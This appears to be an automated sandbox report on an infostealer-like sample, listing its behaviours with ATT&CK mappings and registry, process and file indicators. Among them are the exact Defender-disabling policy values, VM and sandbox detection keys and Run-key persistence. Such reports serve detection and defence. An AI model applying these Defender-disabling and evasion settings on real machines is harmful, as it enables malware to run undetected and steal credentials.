6ae97fa67147ef805f00cfe3235146f97a316f56883993620656d5ddad15a1ff

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "0"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	shell_helper.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 16 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableAntiSpyware = "0"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "0"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "0"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\TamperProtection = "0"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableAntiSpyware = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableAntiVirus = "0"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "0"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableAntiVirus = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "0"	shell_helper.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "0"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	shell_helper.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	shell_helper.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	WindowsUpdateService.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2372	powershell.exe
2564	powershell.exe
1096	powershell.exe
1196	powershell.exe
4704	powershell.exe
1892	powershell.exe
3704	powershell.exe
3864	powershell.exe
5564	powershell.exe
4688	powershell.exe
5448	powershell.exe
3260	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
4704	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	WindowsUpdateService.exe

Deletes itself 1 IoCs

pid	Process
3928	WindowsUpdateService.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 14 IoCs

pid	Process
3392	WindowsUpdateService.exe
3472	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
704	WindowsUpdateService.exe
4712	shell_helper.exe
4192	shell_helper.exe
5800	shell_helper.exe
5456	RuntimeBrokerCache.exe
4976	RuntimeBrokerCache.exe
5996	WindowsUpdateService.exe
4884	WindowsUpdateService.exe
1716	helper.exe
4360	ksp_helper.exe
716	msg_helper.exe

Loads dropped DLL 64 IoCs

pid	Process
3396	Exodus.exe
3396	Exodus.exe
3396	Exodus.exe
3396	Exodus.exe
3396	Exodus.exe
3396	Exodus.exe
3396	Exodus.exe
3396	Exodus.exe
3396	Exodus.exe
3396	Exodus.exe
3396	Exodus.exe
3396	Exodus.exe
3396	Exodus.exe
3396	Exodus.exe
3396	Exodus.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
704	WindowsUpdateService.exe
704	WindowsUpdateService.exe
704	WindowsUpdateService.exe
704	WindowsUpdateService.exe
704	WindowsUpdateService.exe
704	WindowsUpdateService.exe
704	WindowsUpdateService.exe
704	WindowsUpdateService.exe
704	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
704	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
704	WindowsUpdateService.exe
704	WindowsUpdateService.exe
704	WindowsUpdateService.exe
704	WindowsUpdateService.exe
704	WindowsUpdateService.exe
704	WindowsUpdateService.exe
704	WindowsUpdateService.exe
704	WindowsUpdateService.exe
704	WindowsUpdateService.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	shell_helper.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	shell_helper.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\ProfileSyncHost = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\ProfileSync\\WindowsUpdateService.exe\" \"C:\\Users\\Admin\\AppData\\Local\\Temp\\_MEI34722\\main.py\""	WindowsUpdateService.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	explorer.exe
File opened (read-only)	\??\F:	explorer.exe

Indicator Removal: Clear Persistence 1 TTPs 4 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

Clear Persistence

T1070.009

pid	Process
4644	cmd.exe
5084	cmd.exe
1636	cmd.exe
1104	cmd.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_g1cic2qv.i25.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_pmjpcnsh.4jv.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_zy35bqzg.a5v.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_l4qwhrfv.eiy.ps1	powershell.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

Ignore Process Interrupts

T1564.011

pid	Process
2512	powershell.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4068	sc.exe
5064	sc.exe
5540	sc.exe
4740	sc.exe
1960	sc.exe
5060	sc.exe
5464	sc.exe
5924	sc.exe
2088	sc.exe
4104	sc.exe
4608	sc.exe
4360	sc.exe
4940	sc.exe
6112	sc.exe
5060	sc.exe
5628	sc.exe
4772	sc.exe
5364	sc.exe
1312	sc.exe
2368	sc.exe
4184	sc.exe
1260	sc.exe
3112	sc.exe
3512	sc.exe
552	sc.exe
1644	sc.exe
4144	sc.exe
5788	sc.exe
5316	sc.exe
1884	sc.exe
1384	sc.exe
3684	sc.exe
944	sc.exe
4308	sc.exe
636	sc.exe
3944	sc.exe
1716	sc.exe
4592	sc.exe
5936	sc.exe
2612	sc.exe
3728	sc.exe
3496	sc.exe
2408	sc.exe
5756	sc.exe
4836	sc.exe
5952	sc.exe
3852	sc.exe
5076	sc.exe
1508	sc.exe
2480	sc.exe
4624	sc.exe
4548	sc.exe
2860	sc.exe
2780	sc.exe
5868	sc.exe
4484	sc.exe
3932	sc.exe
3804	sc.exe
1856	sc.exe
3148	sc.exe
1096	sc.exe
4156	sc.exe
1080	sc.exe
2756	sc.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5452	cmd.exe
1160	cmd.exe

Checks SCSI registry key(s) 3 TTPs 62 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	explorer.exe

Kills process with taskkill 20 IoCs

pid	Process
5004	taskkill.exe
3288	taskkill.exe
256	taskkill.exe
6048	taskkill.exe
2992	taskkill.exe
4224	taskkill.exe
1280	taskkill.exe
3680	taskkill.exe
5140	taskkill.exe
1424	taskkill.exe
4588	taskkill.exe
1072	taskkill.exe
708	taskkill.exe
2904	taskkill.exe
4912	taskkill.exe
2536	taskkill.exe
5820	taskkill.exe
4168	taskkill.exe
5504	taskkill.exe
5456	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main	explorer.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
